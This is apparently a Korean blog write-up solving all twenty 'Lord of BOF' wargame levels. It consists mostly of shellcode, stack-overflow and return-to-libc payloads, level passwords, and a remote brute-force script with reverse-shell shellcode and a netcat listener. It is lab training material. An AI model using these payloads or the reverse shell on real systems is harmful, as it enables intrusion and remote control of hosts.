[LOB(Lord Of BOF)] write-ups

yoobi·2022년 5월 31일
0
post-thumbnail
LOB setting : https://intadd.tistory.com/106

# 24bytes SHELLCODE -> but, have "\x2f" -> '/'
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

# 25bytes SHELLCODE -> also, have "\x2f" -> '/'
\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80

# 31bytes SHELLCODE -> without "\x2f" -> '/'
\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

# reverse SHELLCODE
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x01\x70\x66\x68\x1f\x2b\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

# LOB PASSWD
gate:gate
gremlin:hello bof world
cobolt:hacking exposed
goblin:hackers proof
orc:cantata
wolfman:love eyuna
darkelf:kernel crashed
orge:timewalker
troll:aspirin
vampire:music world
skeleton:shellcoder
golem:cup of coffee
darkknight:new attacker
bugbear:new divide
giant:one step closer
assassin:pushing me away
zombie_assassin:no place to hide
succubus:here to stay
nightmare:beg for me
xavius:throw me away
death_knight:got the life

LEVEL1 (gate -> gremlin) : simple bof

풀이 : 기본적인 BOF, buf에 nop+SHELLCODE 넣고 RET를 buf 주소로 변조한다

buf_addr = 0xbffff928

buf_size = 256
real_buf_size = 0x100 - > 256

payload = "\x90"*100
payload += SHELLCODE
payload += "\x90"*(256-100-len(SHELLCODE))
payload += "BBBB"
payload += p32(buf_addr)

$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*(256-124)+"BBBB"+"\x28\xf9\xff\xbf")')

LEVEL2 (gremlin -> cobolt) : small buffer

풀이 : 기본적인 BOF이지만 buffer가 16 bytes라서 24 bytes짜리 SHELLCODE가 들어가지 않는다. 따라서 환경변수 sh에 SHELLCODE를 넣어놓고 환경변수 주소를 구하여 RET를 변조한다

## small buffer

export sh=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')

'''
#include<stdio.h>

void main()
{
    printf("env addr : %x\n", getenv("sh"));
}
'''

buf_addr = 
sh_env_addr = 0xbffffeab
buf_size = 16
real_buf_size = 

env 쓰자

$(python -c 'print("A"*16+"BBBB"+"\xab\xfe\xff\xbf")')

LEVEL3 (cobolt -> goblin) : small buffer + stdin

풀이 : argv -> strcpy가 아닌 gets로 변경되었다. input 넣는 방법으로 ENV 사용하여 RET 변조한다

## small buffer + gets / ENV again

export sh=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')

'''
#include<stdio.h>

void main()
{
    printf("env addr : %x\n", getenv("sh"));
}
'''

env addr : bffffeae

(python -c 'print("A"*16+"BBBB"+"\xae\xfe\xff\xbf")'; cat) | ./goblin

LEVEL4 (goblin -> orc) : egghunter

풀이 : egghunter가 ENV는 사용하지 못하게하고, argv[47]=="\xbf"를 필터링하고 있다. RET 보다 더 뒤에 NOP+SHELLCODE를 배치하고, 적당한 값으로 RET를 변조하여 NOP slide 하면 끝

payload = "A"*40
payload += "BBBB"
payload += "\x50\xfc\xff\xbf"
payload += "\x90"*100
payload += SHELLCODE

./orc $(python -c 'print("A"*40+"BBBB"+"\x50\xfc\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')

LEVEL5 (orc -> wolfman) : egghunter + bufferhunter

풀이 : egghunter가 ENV는 사용하지 못하게하고, buf도 초기화하며 argv[47]=="\xbf"를 필터링하고 있다. RET 보다 더 뒤에 NOP+SHELLCODE를 배치하고, 적당한 값으로 RET를 변조하여 NOP slide 하면 끝

payload = "A"*40
payload += "BBBB"
payload += "\x50\xfc\xff\xbf"
payload += "\x90"*100
payload += SHELLCODE

./wolfman $(python -c 'print("A"*40+"BBBB"+"\x50\xfc\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')

LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter

풀이 : check length of argv[1]이 추가되었다. RET를 argv[2]로 변조하여 NOP slide 하면 끝

argv[2]_addr : 0xbffffda8

argv[1]
payload = "A"*40
payload += "BBBB"
payload += "\xa8\xfd\xff\xbf"

argv[2]
payload = "\x90"*100
payload += SHELLCODE

./darkelf $(python -c 'print("A"*40+"BBBB"+"\xa8\xfd\xff\xbf")') $(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')

LEVEL7 (darkelf -> orge) : check argv[0]

풀이 : argv[0] 의 길이를 확인하고 있다 symbolic link를 걸어서 우회해주면 끝

argv[2]_addr : 0xbffffd74

argv[1]
payload = "A"*40
payload += "BBBB"
payload += "\x74\xfd\xff\xbf"

argv[2]
payload = "\x90"*100
payload += SHELLCODE

./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $(python -c 'print("A"*40+"BBBB"+"\x74\xfd\xff\xbf")') $(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')

LEVEL8 (orge -> troll) : check argc

풀이 : argc 2개 제한이 추가되었다. argv0을 nop slide+SHELLCODE로 링크한 뒤 ret를 argv[0]으로 변조하면 끝.
이때, \x2f는 '/'으로 SHELLCODE에 포함되면 안된다. -> \x2f 없는 SHELLCODE 사용
gdb 분석 시, argv, argc 등 최대한 맞춰서 분석하자, -> stack addr 변화 생길 가능성 있다

argv[0] nop slide addr = 0xbffffd29

# link
ln -s troll $(python -c 'print("\x90"*100+"\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')

# execute file -> argv[0]
payload = "\x90"*100
payload += SHELLCODE

# change RET
payload = "A"*40
payload += "BBBB"
payload += "\x29\xfd\xff\xbf"

# Final payload
./$(python -c 'print("\x90"*100+"\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")') $(python -c 'print("A"*40+"BBBB"+"\x29\xfd\xff\xbf")')

LEVEL9 (troll -> vampire) : check 0xbfff

풀이 : argv[1][47] == \xbf && argv[1][46] != \xff 를 만족하여야 한다. argv[1]로 주는 값을 크게하면 SHELLCODE가 담긴 주소를 bfff가 아닌 값으로 변경할 수 있다

argv[1]_nop_addr : 0xbffeec18

payload = "A"*40
payload += "BBBB"
payload += "\x18\xec\xfe\xbf"
payload += "\x90"*70000
payload += SHELLCODE

./vampire $(python -c 'print("A"*40+"BBBB"+"\x18\xec\xfe\xbf"+"\x90"*70000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')

LEVEL10 (vampire -> skeleton) : argv hunter

풀이 : argv를 모두 memset하고 있다. 하지만, argv[0] 의 경우 bfffffxx 위치에도 존재한다. 이를 활용하면 끝

argv[0] nop slide addr = 0xbfffff63

# link
ln -s skeleton $(python -c 'print("\x90"*100+"\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')

# execute file -> argv[0]
payload = "\x90"*100
payload += SHELLCODE

# change RET
payload = "A"*40
payload += "BBBB"
payload += "\x93\xff\xff\xbf" # add 0x30 -> nop slide

# Final payload
./$(python -c 'print("\x90"*100+"\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")') $(python -c 'print("A"*40+"BBBB"+"\x93\xff\xff\xbf")')

LEVEL11 (skeleton -> golem) : stack destroyer

풀이 : 전체 스택을 bfffffxx 위치까지 전부다 memset을 진행한다. shellcode를 주입하고 실행할 수 있는 공간을 찾아야하는데, 환경변수 LD_PRELOAD 값을 설정하여 프로그램 실행 시 공유라이브러리 영역에 shellcode를 올릴 수 있다

gcc -fPIC -shared test.c -o $(python -c 'print("\x90"*100+"\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')

export LD_PRELOAD=$(python -c 'print("/home/skeleton/"+"\x90"*100+"\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')

library_addr = 0xbffff7a0

./golem $(python -c 'print("A"*40+"BBBB"+"\xa0\xf7\xff\xbf")')

LEVEL12 (golem -> darkknight) : FPO

풀이 : FPO 취약점이 존재한다. buffer에 nop+shellcode 주입하고 SFP 끝 1 byte를 변조한다. 에필로그가 2번 실행되면 변조한 SFP로 실행주소가 변경된다

nop_slide_addr = 0xbffffe10

./darkknight $(python -c 'print("\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x04")')

LEVEL13 (darkknight -> bugbear) : RTL1

풀이 : RTL(Return To Libc)을 사용한다. system("/bin/sh"); 를 실행해주면 끝

gadget list
(1) system_addr = 0x40059aa0
(2) "/bin/sh"_addr = 0xbffffc98

payload = "\x90"*40
payload += "BBBB" # SFP dummy
payload += "\xa0\x9a\x05\x40" # system addr
payload += "DDDD" # RTL dummy
payload += "\x88\xfc\xff\xbf" # "/bin/sh" addr
payload += "/bin/sh"

./bugbear $(python -c 'print("\x90"*40+"BBBB"+"\xa0\x9a\x05\x40"+"DDDD"+"\x88\xfc\xff\xbf"+"/bin/sh")')

LEVEL14 (bugbear -> giant) : RTL2, only execve

풀이 : main 함수의 argv[1][44]를 execve의 주소와 같은지를 검사하고 있기 떄문에, execve외에 다른 값으로 ret를 바꾸는 것은 불가능하다. 1번 방법은 2중 포인터에 대한 처리가 필요하다. 2번 방법은 execve 함수던 어떤 함수던 간에 RET가 존재하므로 이를 system_addr로 바꾸어 공격한다 (RTL Chaining)

libc_addr = 0x40018000
execve_offset = 0x00091d48
execve_addr = 0x400a9d48
system_addr = 0x40058ae0
"/bin/sh"_addr = 0xbfffffc9c / core : 0xbffffcac

2가지 방법
1번 execve를 바로 실행
execve의 인자는 30 : RET dummy
1 : "/bin/sh"
2 : {"/bin/sh", 0} 
3 : NULL

2번 execve를 돌리고 ret를 system으로 줘버리기
0 : system_addr
1 : dummy 4bytes
2 : "/bin/sh"

payload = "A"*40
payload += p32(execve_addr)
payload += p32(system_addr) # execve's RET location (RTL Chaining)
payload += "BBBB" # dummy
payload += p32("/bin/sh"_addr)
payload += "/bin/sh"

./giant "$(python -c 'print("A"*40+"BBBB"+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"BBBB"+"\xac\xfc\xff\xbf"+"/bin/sh")')"

LEVEL15 (giant -> assassin) : no stack, no RTL

풀이 : RET에 \xbf도 불가 \x40도 불가하다. main+174인 0x0804851e로 RET를 조작하여 RET가 2번 실행되게하여 공격 가능하다
ret : pop eip, jmp eip 이기 때문에 첫 RET 에서 0x0405851e이 pop 되고 2번째 RET는 SHELLCODE를 가르키게 된다

# double RET
original RET : 0x0804851e
RET보다 더 뒤 "\x90" addr : 0xbffffc56

payload = "A"*40
payload += "BBBB" # SFP
payload += "\x1e\x85\x04\x08" # first RET, this will pop
payload += "\x56\xfc\xff\xbf" # second RET, SHELLCODE's location
payload += "\x90"*100
payload += SHELLCODE

./assassin $(python -c 'print("A"*40+"BBBB"+"\x1e\x85\x04\x08"+"\x56\xfc\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80o")')

LEVEL16 (assassin -> zombie_assassin) : fake ebp

풀이 : FEBP attack, 원리에 대해 상세하게 학습 다시하자

# double leave
original leave : 0x080484df
buffer addr : 0xbffffc60
buffer addr + 0x4 : 0xbffffc64
buffer addr - 0x4 : 0xbffffc5c

payload = "\x64\xfc\xff\xbf" # buf_addr + 0x4
payload += "\x90"*12
payload += SHELLCODE
payload += "\x5c\xfc\xff\xbf" # buf_addr + 0x4 -> SFP
payload += "\xdf\x84\x04\x08" # leave_addr (RET Location)

./zombie_assassin $(python -c 'print("\x64\xfc\xff\xbf"+"\x90"*12+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x5c\xfc\xff\xbf"+"\xdf\x84\x04\x08")')

LEVEL17 (zombie_assassin -> succubus) : function calls

풀이 : function call chaining

DO_addr : 0x080487ec
GYE_addr : 0x080487bc
GUL_addr : 0x0804878c
YUT_addr : 0x0804875c
MO_addr : 0x08048724
"/bin/sh"_addr : 0xbffffc68

payload = "A"*40
payload += "BBBB"
payload += p32(DO_addr)
payload += p32(GYE_addr)
payload += p32(GUL_addr)
payload += p32(YUT_addr)
payload += p32(MO_addr)
payload += p32("/bin/sh"_addr)

./succubus $(python -c 'print("A"*40+"BBBB"+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x68\xfc\xff\xbf"+"/bin/sh")')

LEVEL18 (succubus -> nightmare) : plt

풀이 : RET는 무조건 strcpy 여야한다. 즉, strcpy를 사용하여 memset으로 보호하는 buf+0x8을 조작하면 끝

buf_addr = 0xbffffab0
buf_addr + 48 (strcpy RET) = 0xbffffae0
shellcode_addr = 0xbffffab4
strcpy_addr = 0x08048410

payload = "\xb4\xfa\xff\xbf" # shellcode_addr
payload += SHELLCODE
payload += "\x90"*12
payload += "BBBB"
payload += "\x10\x84\x04\x08" # strcpy_addr
payload += "CCCC" # this will be MAIN target, strcpy's RET
payload += "\xe0\xfa\xff\xbf" # buf_addr + 48
payload += "\xb0\xfa\xff\xbr" # buf_addr

./nightmare $(python -c 'print("\xb4\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*12+"BBBB"+"\x10\x84\x04\x08"+"CCCC"+"\xe0\xfa\xff\xbf"+"\xb0\xfa\xff\xbf")')

LEVEL19 (nightmare -> xavius) : fgets + destroyers

풀이 : stack, lib, code 모두 destory 당한다. fgets의 인자로 사용되는 stdin 또한 하나의 공간이며 이 위치에 shellcode 주입하여 실행하는 것도 가능하다.

stdin_start_addr = 0x40105000

payload = "\x90"*16
payload += SHELLCODE
payload += "BBBB"
payload += p32(stdin_start_addr)

(python -c 'print("\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"BBBB"+"\x00\x50\x01\x40")';cat) | ./xavius

LEVEL20 (xavius -> death_knight) : remote BOF

풀이 : 마지막은 뭔가 CTF 문제처럼 생겼다. reverse SHELLCODE를 사용하고, RET를 정확하게 알지 못하지만, 0xbfffXXXX라고 가정하여 bruteforce 진행한다

from pwn import *
 
SHELLCODE="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"\
    "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x01\x70\x66\x68"\
    "\x1f\x2b\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"\
    "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"\
    "\x89\xe1\xb0\x0b\xcd\x80"
 
 
 
for i in range (0xFF,0x00,-1):
    for j in range(0x00,0xFF,10):
        p = remote("192.168.1.58",6666)
        print str(hex(u32(chr(j)+chr(i)+"\xff\xbf")))
        payload = "A"*44
        payload += chr(j)+chr(i)+"\xff\xbf"
        payload += "\x90"*100
        payload += SHELLCODE
        p.send(payload)
        p.close()

# nc -lvp 7979

profile
this is yoobi

0개의 댓글